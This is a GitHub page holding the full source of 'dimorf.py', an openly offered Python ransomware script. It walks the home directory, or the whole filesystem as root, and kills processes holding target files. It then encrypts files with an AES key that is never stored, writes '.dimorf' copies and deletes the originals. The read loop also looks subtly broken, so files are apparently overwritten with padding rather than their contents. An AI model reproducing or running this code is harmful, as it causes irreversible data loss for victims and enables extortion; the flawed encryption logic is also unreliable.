-
Notifications
You must be signed in to change notification settings - Fork 12
/
Copy pathdimorf.py
executable file
·316 lines (272 loc) · 11.3 KB
/
dimorf.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import sys
import os
import logging
from datetime import datetime as dt
from psutil import process_iter
from time import sleep
from Crypto.Cipher import AES
from Crypto import Random
__author__ = 'Wendel Ortiz -> aKa Ort0x36'
__maintainer__ = 'Wendel Ortiz'
__credits__ = ['Contributors']
__module__ = 'dimorf.py'
def __save_log_error(dir_log: str, logs: list) -> str:
try:
if (
not (
os.path.isdir(
dir_log
)
)
):
os.mkdir(
dir_log
)
logging.basicConfig(
level=logging.INFO,
filename=f'{dir_log}/{dt.now():%Y-%m-%d}.log',
format='%(asctime)s - %(levelname)s - %(message)s',
encoding='utf-8'
)
for line in logs:
logging.error(
line
)
return (
f'\33[32mLogs generated in -> \33[31m{dir_log}/{dt.now():%Y-%m-%d}.log\33[0m'
)
except Exception as e:
raise e
def check_os(osname: str) -> bool:
PATH = os.getenv('HOME')
if (os.getuid() == 0):
PATH = '/'
# # check if os is linux.
is_linux = [
prop for prop in os.uname() if ((prop == "Linux")) and (
(sys.platform == "linux")) and (
(os.name == osname))
]
exts = set()
# # get all files extensions from path
for root, dirs, files in os.walk(PATH):
for file in files:
ext = os.path.splitext(file)[1]
exts.add(ext)
# # sort array
exts_list = sorted(
list(
exts
)
)
try:
# # check python version before called function.
if ((is_linux) and (
sys.version[0] == '3')
):
find_and_encrypt(
path=PATH,
ext_files=exts_list,
cd=['/bin', '/sbin', '/etc', '/lib', '/usr/lib', '/boot'],
hidden='.',
new_ext='.dimorf',
key=Random.get_random_bytes(32),
block_bytes=65536,
)
return True
else:
return False
except (OSError, SystemExit):
sys.exit(
f'\33[31mUnsupported python version {sys.version_info}, upgrade to python3.\33[0m'
)
def find_and_encrypt(
path: str,
ext_files: list,
cd: list,
hidden: str,
new_ext: str,
key: bytes,
block_bytes: int,
prev_dirname: str = None
) -> None:
# # go in search of the file.
for root, dirs, files in os.walk(path):
if (
not any(
root.startswith(c) for c in cd
)
):
dirname = os.path.dirname(root)
for file in files:
end_with_ext = [
ext for ext in ext_files if (
file.endswith(
ext
)
)
]
# # verify file type.
if ((end_with_ext) and not(
file.startswith(
hidden
)
)):
if (root == path):
print(f'\33[32mBeginning encryption operations from {root}\33[0m')
prev_dirname = dirname
elif (dirname != prev_dirname):
sleep(1)
print(f'Encrypting files in {dirname}')
prev_dirname = dirname
# # checks if the user has permission on the file.
if (
os.access(
os.path.join(
root,
file
), os.F_OK
) and (
os.access(
os.path.join(
root,
file
), os.W_OK
)
) and (
os.access(
os.path.join(
root,
file
), os.R_OK
)
)
):
# # kill process
for proc in process_iter():
try:
if proc.open_files():
for f in proc.open_files():
if (
f.path == os.path.join(
root,
file
)
):
os.kill(proc.pid, 9) # # pid and signal
except Exception:
pass
# # beginning encrypt operations.
init_vector = Random.new().read(16)
cipher = AES.new(
key,
AES.MODE_CBC,
init_vector
)
try:
# # open and reads file in blocks of 65536 bytes.
with open(os.path.join(root, file), mode='rb') as f:
while True:
data = f.read(
block_bytes
)
# # add padding
if len(data) == 0:
data += b'\x00\x01' * (
16 - (
len(
data
) % 16
)
)
break
else:
pass
# # creates a new one with the same encrypted information
# # and adds the modified extension ".dimorf".
with open(f'{os.path.join(root, file)}{new_ext}', mode='wb') as f:
f.write(
cipher.encrypt(
data
)
)
# # remove the original file.
os.remove(
os.path.join(
root,
file
)
)
except PermissionError:
pass
else:
try:
# # don't have? try assign.
os.chmod(
os.path.join(
root,
file
), 0o644
)
try:
# # beginning encrypt operations.
init_vector = Random.new().read(16)
cipher = AES.new(
key,
AES.MODE_CBC,
init_vector
)
# # open and reads file in blocks of 65536 bytes.
with open(os.path.join(root, file), mode='rb') as f:
while True:
data = f.read(
block_bytes
)
# # add padding
if len(data) == 0:
data += b'\x00\x01' * (
16 - (
len(
data
) % 16
)
)
break
else:
pass
# # creates a new one with the same encrypted information
# # and adds the modified extension ".dimorf".
with open(f'{os.path.join(root, file)}{new_ext}', mode='wb') as f:
f.write(
cipher.encrypt(
data
)
)
# # remove the original file.
os.remove(
os.path.join(
root,
file
)
)
except PermissionError:
pass
except PermissionError:
# # generates a log file with the files
# # that could not be assigned permission.
sleep(1)
# # print to get return of logging function
print(
__save_log_error(
dir_log='./log_dimorf',
logs=[
('Error changing file permissions\n'),
(f'Files not encrypted by unauthorized operations. => {os.path.join(root, file)}\n')
]
)
)
if __name__ == '__main__':
os.system('clear')
check_os('posix')